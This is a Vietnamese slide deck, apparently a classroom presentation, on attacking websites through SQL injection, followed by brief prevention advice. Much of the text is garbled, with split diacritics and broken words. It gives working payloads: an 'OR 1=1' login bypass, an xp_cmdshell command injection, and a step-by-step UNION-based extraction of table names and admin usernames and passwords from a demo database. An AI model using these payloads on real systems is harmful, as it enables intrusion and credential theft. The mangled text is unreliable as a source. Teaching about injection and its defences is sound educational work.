SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào... TÌM KIẾM LỖI - SQL injection phát sinh lỗi khi người lập trình không kiểm soát chặt chẽ
Trang 2TẤN CÔNG WEB SITE BẰNG SQL INJECTION VÀ CÁCH PHÒNG CHỐNG
Trang 3I TẤN CÔNG WEBSITE BẰNG SQL INJECTION
SQL injection là m t k thu t cho phép nh ng k t n ộ ỹ ậ ữ ẻ ấcông l i d ng l h ng c a vi c ki m tra d li u đ u ợ ụ ỗ ổ ủ ệ ể ữ ệ ầvào trong các ng d ng web và các thông báo l i c a ứ ụ ỗ ủ
h qu n tr c s d li u tr v đ inject (tiêm vào) và ệ ả ị ơ ở ữ ệ ả ề ể
có th cho phép nh ng k t n công th c hi n các thao ể ữ ẻ ấ ự ệtác, delete, insert, update,… trên c s d li u c a ng ơ ỡ ữ ệ ủ ứ
Trang 4SQL INJECTION
nhiều công cụ hỗ trợ
đến gây hậu quả nặng nề hơn
Trang 5II CÁC DẠNG TẤN CÔNG BẰNG SQL INJECTION
D ng t n công vạ ấ ượt qua ki m tra đăng nh pể ậ
D ng t n công s d ng câu l nh SELECTạ ấ ử ụ ệ
D ng t n công s d ng câu l nh INSERTạ ấ ử ụ ệ
Trang 6DẠNG TẤN CÔNG VƯỢT QUA KIỂM TRA ĐĂNG
username và password này sẽ được gửi đến ứng dụng và xử lý chúng M t ộ câu truy v n SQL s đ ấ ẽ ượ ạ c t o ra và l y các hàng kh p v i thông tin ấ ớ ớ
ng ườ i dùng cung c p Ng ấ ườ i dùng lúc đó s đ ẽ ượ c ch ng th c và ứ ự
chuy n đ n trang yêu c u ể ế ầ
Trang 7DẠNG TẤN CÔNG VƯỢT QUA KIỂM TRA ĐĂNG NHẬP
Tuy nhiên, n u không đ ế ượ c ki m tra k s d b ể ỹ ẽ ễ ị
l i SQL injection ỗ Ví d đo n code sau đâu b l i SQL ụ ạ ị ỗ
injection:
string strQry = “SELECT Count(*) FROM Users WHERE
Username=’” + txtUser.Text + “‘ AND Password =’” +
txtPassword.Text + “‘”;
N u ng ế ườ i dùng đăng nh p bình th ậ ườ ng, ví d username là ụ
‘Jason’ và password là ‘Springfield’ Khi đó ng d ng s th c ứ ụ ẽ ự
hi n câu truy v n: ệ ấ
SELECT Count(*) FROM Users WHERE Username = ‘Jason’
AND Password = ‘Springfield’.
Trang 8DẠNG TẤN CÔNG VƯỢT QUA KIỂM TRA ĐĂNG
NHẬP
Tuy nhiên, n u đăng nh p v i username và Password nh sau: ế ậ ớ ư
Username là “ Thao’ or 1=1” , password là “Springfield” khi đó câu truy vấn sẽ được
thực hiện như sau: SELECT Count(*) FROM Users WHERE Username = ‘Thao’ OR 1
= 1 — AND Password = ‘Springfield’
Chú ý rằng sau dấu – là comment Nghĩa là câu truy vấn thật sự là: SELECT Count(*)
FROM Users WHERE Username = ‘Blah’ OR 1 = 1 Như vậy là người tấn công sẽ
vượt qua phần kiểm tra đăng nhập.
Trang 9DẠNG TẤN CÔNG SỬ DỤNG CÂU LỆNH INSERT
một tài khoản để tham gia Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình SQL injection có thể được dùng khi hệ thống
không kiểm tra tính hợp lệ của thông tin nhập vào.
Trang 10DẠNG TẤN CÔNG SỬ DỤNG STORE-PROCEDURES
ứng dụng được thực thi với quyền quản trị hệ thống 'sa' Ví dụ,
nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell
‘cmd.exe dir C: ' Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư
mục trên ổđĩa C:\ cài đặt server Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.
Trang 11DẠNG TẤN CÔNG SỬ DỤNG CÂU LỆNH SELECT
D ng t n công này ph c t p h n Đ th c hi n ạ ấ ứ ạ ơ ể ự ệ
được ki u t n công này, k t n công ph i có kh ể ấ ẻ ấ ả ả
năng hi u và l i d ng các s h trong các thông báo ể ợ ụ ơ ở
Trang 12III CÁC BƯỚC TẤN CÔNG MỘT WEBSITE BẰNG SQL INJECTION
Trang 13TÌM KIẾM LỖI
- SQL injection phát sinh lỗi khi người lập trình không kiểm soát chặt chẽ dữ liệu đầu vào trước khi thực thi câu lệnh SQL để truy vấn dữ liệu Cách đơn giản để phát hiện lỗi SQL injection là thêm kí tự “ ‘” vào URL truy vấn
VD:1 URL mà người dùng truy vấn bình thường:
Trang 15Trong trường sử dụng union, cần phải biết được số lượng
column1 trong truy vấn: "Select column1 from table1" để mệnh đề "union select column2 from table2 where (dk nao
do);" thỏa mãn
Trang 21KHAI THÁC D LIÊU Ữ
Tiếp tục khai thác dữ liệu
http://localhost:6789/demo/information.php?item=-7 union select 1,2,3,4,5,6,user()
Hàm user() là hàm của MySQL cho biết thông tin về user đang chạy database website
Ở đây user đang schayj database của website là: root@localhost
Trang 22KHAI THÁC D LI U Ữ Ệ
Khai thác chi tiết hơn dữ liệu cần biết được các table và column cua databse:
Tiếp tục khai thác dữ liệu
Hàm group_concat() dùng để nối string
Truy vấn ở trên có nghĩa là: Liệt kê tất cả các table của database đang được sử dụng
(dem04ngang0)
Trang 23 NAME,ID,SODT,NGVL,HSLUONG,LUONGCB,PASSWORD,CHUCVU
http://localhost:6789/demo/information.php?
item=7+union+select+1,2,3,4,5,group_concat(column_name),7 from
information_schema.columns where table_name=CHAR(110, 14, 97, 110, 118, 105, 101, 110)
Trang 24KHAI THÁC DỮ LIỆU
Tiếp tục khai thác dữ liệu:
http://localhost:6789/demo/information.php?item=-7+union+select+1,2,3,4,5,group_concat(NAME,0x2f,PASSWORD),7 from nhanvien
Sau khi có được thông tin của column ta bắt đầu khai thác thông tin của database:
Truy vân trên có nghĩa là: Liệt kê NAME và PASSWORD của table nhanvien 0x2f là dấu “/” được đổi ra
mã hex.
Ở đây ta lấy đựơc user là admin pass: 1234
Có thông tin quản tiến hành login vào hệ thống và kiểm soát hệ thống đó
Trang 25PHÒNG CH NG SQL INJECTION Ố
Như vậy, có thể thấy lỗi SQL injection khai thác những bất cẩn của các lập trình viên phát triển ứng dụng web khi xử lí các dữ liệu nhập vào để xây dựng câu lệnh SQL Tác hại từ lỗi SQL injection tùy thuộc vào môi trường và cách cấu hình hệ thống
Thiết lập cấu hình an toàn cho hệ quản trị cơ sở dữ liệu
Trang 26 Ví dụ, có thể giới hạn chiều dài của chuỗi nhập liệu, hoặc xây dựng hàm
EscapeQuotes để thay thế các dấu nháy đơn bằng 2 dấu nháy đơn.
Trong trường hợp dữ liệu nhập vào là số, lỗi xuất phát từ việc thay thế một giá trịđược tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL bất hợp pháp
Để tránh điều này, đơn giản hãy kiểm tra dữ liệu có đúng kiểu hay không bằng hàm IsNumeric()
Ngoài ra có thể xây dựng hàm loại bỏ một số kí tự và từ khóa nguy hiểm
như: ;, , select, insert, xp_, … ra khỏi chuỗi dữ liệu nhập từ phía người dùng
để hạn chế các tấn công dạng này.
Trang 27THIẾT LẬP CẤU HÌNH AN TOÀN CHO HỆ QUẢN TRỊ CSDL
Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến tài
khoản người dùng mà ứng dụng web đang sử dụng Các ứng dụng thông
thường nên tránh dùng đến các quyền như dbo hay sa Quyền càng bị hạn chế, thiệt hại càng ít
Ngoài ra để tránh các nguy cơ từ SQL Injection attack, nên chú ý loại bỏ bất
kì thông tin kĩ thuật nào chứa trong thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật
có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống.
Trang 28 C M N TH Y VÀ CÁC B N ĐÃ L NG NGHE!Ả Ơ Ầ Ạ Ắ